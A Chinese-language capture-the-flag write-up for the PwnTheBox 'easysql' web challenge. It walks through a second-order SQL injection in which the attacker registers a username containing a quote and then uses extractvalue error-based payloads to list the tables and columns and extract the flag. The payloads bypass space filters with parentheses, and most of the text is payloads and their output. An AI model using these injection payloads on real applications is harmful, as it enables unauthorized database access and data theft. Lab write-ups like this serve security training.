PwnTheBox(web篇)—easysql
题目介绍
进入训练平台后会出现两个功能按钮,一个是登陆,一个是注册。登陆成功后可以查看文章,点击用户名可以修改密码。
验证sql注入
二次注入
我们注册一个带有 " 的账号提示报错了,报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"123"" and pwd='202cb962ac59075b964b07152d234b70'' at line 1
因此猜想在修改密码的时候的sql语句的构造
update tableName set pwd='xxxxx' where username='aaa' and pwd='xxx'
其中username是我们注册的用户名,并且报错信息会展示出来。因此我们可以使用报错注入,使用extractvalue函数来帮助我们找出我们想要的信息。
题目过滤了and ,<>,空格,/**/等特殊符号,可用()替换空格
查看当前数据库
1"&&(extractvalue(1,concat(1,(select(database())))))
XPATH syntax error: ‘web_sqli’
查看库所有的表
1"&&(extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))
XPATH syntax error: ‘article,flag,users’
查看flag表中所有的字段
1"&&(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))
XPATH syntax error: ‘flag’
查看flag,假的
1"&&(extractvalue(1,concat(1,(select(group_concat(flag))from(flag)))))
XPATH syntax error: ‘RCTF{Good job! But flag not here’
查看users表中所有的字段
1"&&(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))
XPATH syntax error: ‘name,pwd,email,real_flag_1s_here’
查看flag,但有干扰数据
1"&&(extractvalue(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)))))
XPATH syntax error: ‘xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx,’
正则绕过,查看flag,但位数不够
1"&&(extractvalue(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^P')))))
XPATH syntax error: ‘PTB{21eb0c6a-32ec-43db-a8bd-688a’
逆序输出flag
1"&&(extractvalue(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^P'))))))
XPATH syntax error: ‘}077c12f7a886-db8a-bd34-ce23-a6c’ -> c6a-32ec-43db-a8bd-688a7f21c770}
|